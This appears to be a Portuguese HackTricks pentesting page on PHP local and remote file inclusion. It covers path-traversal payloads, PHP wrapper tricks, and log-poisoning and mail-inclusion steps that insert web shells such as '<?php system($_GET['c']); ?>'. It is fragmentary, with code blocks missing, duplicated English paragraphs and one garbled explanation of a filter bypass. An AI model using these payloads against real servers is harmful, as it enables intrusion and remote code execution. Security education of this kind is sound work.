* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
**Inclusão de Arquivo Remoto (RFI):** O arquivo é carregado de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). No php isso é **desativado** por padrão (**allow\_url\_include**).\
**Inclusão de Arquivo Local (LFI):** O servidor carrega um arquivo local.
Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Todos os exemplos são para Inclusão de Arquivo Local, mas também podem ser aplicados à Inclusão de Arquivo Remoto (page=[http://meuserver.com/phpshellcode.txt\\](http://meuserver.com/phpshellcode.txt\)/).
When performing a file inclusion vulnerability assessment, it is common to encounter web applications that implement input validation mechanisms to prevent directory traversal attacks. One common technique used to bypass these filters is to strip traversal sequences from the user input in a non-recursive manner.
Durante a realização de uma avaliação de vulnerabilidade de inclusão de arquivo, é comum encontrar aplicações web que implementam mecanismos de validação de entrada para evitar ataques de travessia de diretório. Uma técnica comum usada para contornar esses filtros é remover as sequências de travessia da entrada do usuário de forma não recursiva.
This technique involves repeatedly replacing traversal sequences such as "../" or "..\" with an empty string until no more occurrences are found. By doing so, the attacker can bypass the input validation and access files outside the intended directory.
Essa técnica envolve substituir repetidamente sequências de travessia, como "../" ou "..\", por uma string vazia até que não haja mais ocorrências. Ao fazer isso, o atacante pode contornar a validação de entrada e acessar arquivos fora do diretório pretendido.
It is important to note that this technique may not work in all cases, as some applications may implement more sophisticated input validation mechanisms. Additionally, it is crucial to ensure that the file inclusion vulnerability is present and that exploiting it is within the scope of the authorized penetration test.
É importante observar que essa técnica pode não funcionar em todos os casos, pois algumas aplicações podem implementar mecanismos de validação de entrada mais sofisticados. Além disso, é crucial garantir que a vulnerabilidade de inclusão de arquivo esteja presente e que explorá-la esteja dentro do escopo do teste de penetração autorizado.
Dependendo do código aplicativo / caracteres permitidos, pode ser possível explorar recursivamente o sistema de arquivos descobrindo pastas e não apenas arquivos. Para fazer isso:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
* se você receber um erro / nenhuma saída, a pasta `private` não existe neste local
* se você receber o conteúdo de `/etc/passwd`, você validou que de fato existe uma pasta `private` no diretório atual
* as pastas que você descobriu usando essas técnicas podem então ser fuzzed para arquivos (usando um método clássico de LFI) ou para subdiretórios usando a mesma técnica recursivamente.
É possível adaptar essa técnica para encontrar diretórios em qualquer localização no sistema de arquivos. Por exemplo, se, sob a mesma hipótese (diretório atual com profundidade 3 no sistema de arquivos), você deseja verificar se `/var/www/` contém um diretório `private`, use a seguinte carga útil:
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
No PHP, isso está desabilitado por padrão porque a configuração **`allow_url_include`** está definida como **Off**. Ela precisa estar como **On** para funcionar e, nesse caso, você poderia incluir um arquivo PHP do seu servidor e obter RCE (Execução Remota de Código):
Se por algum motivo **`allow_url_include`** estiver **Ativado**, mas o PHP estiver **filtrando** o acesso a páginas da web externas, [conforme este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você pode usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP em base64 e obter RCE:
No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e após a decodificação b64 essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
Parece que se você tiver uma Traversal de Caminho em Java e **solicitar um diretório** em vez de um arquivo, será retornada uma **lista do diretório**. Isso não acontecerá em outras linguagens (pelo que eu saiba).
Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Os filtros do PHP permitem realizar operações básicas de **modificação nos dados** antes de serem lidos ou gravados. Existem 5 categorias de filtros:
* [Filtros de String](https://www.php.net/manual/en/filters.string.php):
*`string.rot13`
*`string.toupper`
*`string.tolower`
*`string.strip_tags`: Remove as tags dos dados (tudo entre os caracteres "<" e ">")
* Note que este filtro desapareceu das versões modernas do PHP
* [Filtros de Conversão](https://www.php.net/manual/en/filters.convert.php)
*`convert.base64-encode`
*`convert.base64-decode`
*`convert.quoted-printable-encode`
*`convert.quoted-printable-decode`
*`convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
Abusando do filtro de conversão `convert.iconv.*`, você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
Você também pode usar **php://stdin, php://stdout e php://stderr** para acessar os **descritores de arquivo 0, 1 e 2**, respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
A data:// é uma técnica de inclusão de arquivo que explora a capacidade de um aplicativo web de ler dados de um URI (Uniform Resource Identifier). O URI começa com o esquema "data://" e contém os dados que serão lidos pelo aplicativo.
Essa técnica pode ser explorada para incluir arquivos arbitrários no aplicativo web, permitindo que um invasor acesse informações confidenciais ou execute código malicioso. O invasor pode fornecer um URI que contenha um arquivo malicioso, como um script PHP, e o aplicativo web irá interpretá-lo como parte do código legítimo.
Para evitar a exploração da técnica de inclusão de arquivo data://, é importante validar e filtrar cuidadosamente os URIs fornecidos pelos usuários antes de usá-los para ler dados. Além disso, é recomendável manter o aplicativo web atualizado com as últimas correções de segurança para evitar vulnerabilidades conhecidas que possam ser exploradas.
Fato interessante: você pode acionar um XSS e contornar o Auditor do Chrome com: `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
Se o LFI estiver apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**. Você pode tentar abusar de uma **desserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
* [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessar o sistema de arquivos local
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nomes de caminho que correspondam ao padrão (não retorna nada imprimível, então não é realmente útil aqui)
Se você encontrar um LFI difícil que parece estar filtrando strings de travessia como ".." e respondendo com algo como "Tentativa de invasão" ou "Boa tentativa!", uma carga útil de injeção 'assert' pode funcionar.
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
Essa técnica é relevante em casos em que você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo**, mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**), mas o conteúdo não é mostrado.
Neste [**post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), é explicado como uma traversal de caminho cego pode ser abusada por meio do filtro PHP para **extrair o conteúdo de um arquivo por meio de um oráculo de erro**.
Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP de abertura** do arquivo irá disparar um **erro**.
Em seguida, para vazar o primeiro caractere, o filtro **`dechunk`** é usado junto com outros, como **base64** ou **rot13**, e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**.
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definir dentro do **agente do usuário** ou dentro de um **parâmetro GET** um shell php como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
Observe que, **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP lançará um erro** lá e **nada mais será executado**.
Além disso, certifique-se de **escrever corretamente a carga útil** ou o PHP gerará um erro sempre que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
Isso também pode ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar codificado em URL e isso pode destruir o Shell. O cabeçalho **authorisation "basic"** contém "user:password" em Base64 e é decodificado nos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\
Lista de palavras para fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
**Envie um email** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir o email do usuário com um caminho como **`/var/mail/<NOME_DE_USUÁRIO>`** ou **`/var/spool/mail/<NOME_DE_USUÁRIO>`**
2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser forçado por brute force) e $FD o descritor de arquivo (também pode ser forçado por brute force)
A Inclusão de Arquivo Local (LFI) é uma técnica de hacking que permite a um invasor incluir arquivos arbitrários em um aplicativo da web. Neste caso, vamos explorar a LFI para incluir o arquivo de sessão PHP.
O primeiro passo é identificar se o aplicativo da web é vulnerável à LFI. Isso pode ser feito inserindo um caminho de arquivo arbitrário em um parâmetro de URL que espera um arquivo para inclusão. Por exemplo:
Uma vez identificada a vulnerabilidade LFI, podemos usar essa técnica para incluir o arquivo de sessão PHP. O arquivo de sessão PHP geralmente é armazenado em um local específico, como `/var/lib/php/sessions/`. Podemos tentar incluí-lo da seguinte maneira:
Substitua `<session_id>` pelo ID da sessão PHP que você deseja incluir. Se a inclusão for bem-sucedida, o conteúdo do arquivo de sessão será exibido na página.
Ao incluir o arquivo de sessão PHP, um invasor pode obter acesso às informações armazenadas na sessão, como credenciais de login, tokens de autenticação e outros dados sensíveis. Isso pode levar a ataques de sessão, comprometendo a segurança do aplicativo da web.
Os logs deste servidor FTP são armazenados em _**/var/log/vsftpd.log**_. Se você tiver um LFI e puder acessar um servidor vsftpd exposto, você pode tentar fazer login definindo o payload PHP no nome de usuário e, em seguida, acessar os logs usando o LFI.
Conforme mostrado neste [artigo](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64), o filtro base64 do PHP simplesmente ignora o que não é base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignorará o "." e adicionará "php" ao base64. Aqui está um exemplo de payload:
Este [**artigo**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para a inclusão **sem precisar escrevê-lo** em um arquivo.
**Faça upload** de um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição**, provoque uma **falha de segmentação**, e então o **arquivo temporário não será excluído** e você pode procurá-lo.
Se você encontrou uma **Inclusão Local de Arquivos** e o **Nginx** está sendo executado na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
Se você encontrou uma **Inclusão Local de Arquivos**, mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **habilitar a sessão para você**. Você pode abusar disso para obter RCE:
Se você encontrou uma **Inclusão Local de Arquivos** e você **pode extrair o caminho** do arquivo temporário, MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com essa **Condição de Corrida**:
Se você pode abusar da LFI para **fazer upload de arquivos temporários** e fazer o servidor **ficar pendurado** na execução do PHP, você pode então **forçar nomes de arquivos por horas** para encontrar o arquivo temporário:
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para gerar esse erro).
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).